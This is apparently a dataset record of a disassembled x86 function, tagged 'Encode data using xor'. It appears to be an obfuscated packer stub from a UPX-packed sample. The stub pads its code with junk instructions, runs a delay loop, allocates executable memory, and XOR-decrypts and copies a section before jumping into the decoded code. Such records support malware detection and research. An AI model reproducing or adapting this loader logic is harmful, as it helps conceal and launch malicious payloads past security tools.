Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xcc442073
dec esi
add esi, 0xcbcd56b1
add edx, esi
popal
sub esi, edx
mov esi, edx
mov edx, 0xc12b07f1
mov eax, 0
mov ebx, edi
dec ecx
add ecx, 0xf58dccbc
mov edx, ebx
mov ecx, 0xa8fb7781
mov ecx, 0x90cdd152
mov edi, edx
not esi
and ecx, esi
inc eax
mov ecx, 0xf34af993
mov esi, 0x84530ed5
mov ecx, esi
cmp eax, 0x10061fa
jne 0xa789ca
add ecx, esi
and esi, esi
or ecx, esi
inc edx
inc edx
mov esi, 0xa78796
add ebx, 1
or ecx, ebx
mov edi, 0xa7898a
mov ebx, ecx
sub eax, ebx
mov ebx, ecx
mov edx, dword [esi]
mov ebx, eax
add eax, ebx
mov eax, ecx
and edx, 0xff
sub ecx, 1
add ebx, 0x251038e1
xor dword [edi], edx
sub eax, 1
sub eax, 0x3e55f8d9
sub ecx, ebx
inc edi
add ecx, 0x55e47bf1
sub eax, 1
mov eax, ebx
inc esi
mov ecx, ebx
and eax, ebx
and ecx, ecx
cmp edi, entry0
jl 0xa78a1e
add ebx, 0xb771e078
not ecx
or ebx, ecx
sub ecx, ebx
mov edx, 0x56e2f1f1
mov esi, ecx
mov edx, ebx
mov edi, 0xa7898e
or edx, esi
add edx, 0xec83fba9
mov edi, dword [edi]
or edx, ecx
sub esi, 1
mov edi, dword [edi]
inc edx
sub esi, 0x66152ab5
push edi
sub ecx, 0x13c9c0f1
mov ecx, edx
mov ecx, 0x92b2cc77
mov edi, 0xa7898a
not ebx
mov esi, edx
mov ebx, 0x9cbc20b5
mov edi, dword [edi]
mov ecx, ebx
sub ecx, ebx
sub edx, 0x7346d1f1
mov edi, dword [edi]
sub ecx, ebx
sub edx, ebx
sub esp, 4
mov dword [esp], 0xa78992
or esi, esi
add ebx, 0x73bd305f
add ecx, 0x457179b3
call edi
add ecx, 0x604dd87c
and ebx, edx
mov ebx, 0x89fd1751
pop edi
sub ecx, 1
mov ecx, ebx
push 0xa7899f
sub esi, 0x5dbb8049
not edx
push eax
mov edx, ebx
sub ebx, 0xbbf1f025
call edi
and esi, ebx
sub ecx, edx
not esi
sub esp, 4
mov dword [esp], 0x40
and edx, edx
and edx, ecx
push 0x3000
dec edx
sub ecx, 0xef78e708
push 0x200003c5
mov esi, ebx
dec ecx
push 0
mov ecx, esi
mov esi, 0xcf29a2
call eax
inc edx
add ebx, 0x754abc9c
inc esi
add eax, 0x2000030f
inc ecx
sub edx, 0xa0ae06d1
mov edi, 0x9d1c7ad0
or esi, edx
add ebx, 0x292857bd
add ecx, 0xe4e92cd0
mov dword [eax], edi
add esi, ecx
add ecx, 0xb715a844
or edx, esi
mov edi, dword [eax]
sub esi, 1
mov ebx, 0x8ae8003
add ecx, ebx
cmp edi, 0x9d1c7ad0
je 0xa78b9d
mov eax, 0
mov dword [eax], edx
inc esi
add ecx, 0x4931838b
mov ecx, 0x8a3bafc1
sub esi, edx
sub esi, ecx
or esi, esi
not esi
dec edx
mov ebx, section.UPX1
sub edx, esi
dec edx
mov eax, 0xa78795
add edx, 0x58aa9234
dec edx
mov edi, 0
inc esi
dec edx
dec edx
mov ecx, 0xa78796
mov edx, 0x201559e6
mov edx, 0xb167957
or edx, esi
lea ecx, [ecx + edi]
and esi, edx
mov esi, edx
and esi, edx
mov ecx, dword [ecx]
add esi, 1
sub edx, esi
and ecx, 0xff
not edx
and esi, esi
inc edi
mov edx, 0x8465a53b
add esi, edx
cmp edi, 0x1f4
jne 0xa78c11
mov edi, 0
and esi, edx
and esi, esi
add esi, edx
not esi
add esi, 0xa93e913
or edx, edx
xor dword [ebx], ecx
add edx, 0xd7eecb36
add edx, esi
add ebx, 2
mov esi, edx
add esi, esi
mov edx, esi
cmp ebx, eax
jl 0xa78bce
add edx, esi
inc esi
mov edx, esi
and esi, esi
and edx, edx
mov esi, section.UPX1
sub edx, 1
not ebx
mov ecx, section.UPX1
dec edx
add ebx, edx
inc edx
mov edi, 0xa78795
or ebx, ebx
add ebx, 0x56cd4f72
mov eax, 0
dec edx
mov ebx, 0x2c617613
mov al, byte [ecx]
add edx, edx
mov edx, ebx
not edx
mov byte [esi], al
or edx, ebx
sub ebx, edx
inc esi
sub edx, ebx
sub ebx, 0x3364c65f
add ecx, 2
not edx
sub edx, ebx
cmp ecx, edi
jle 0xa78c76
add edx, edx
mov edx, ebx
and esi, esi
inc edx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edx, esi
inc esi
ret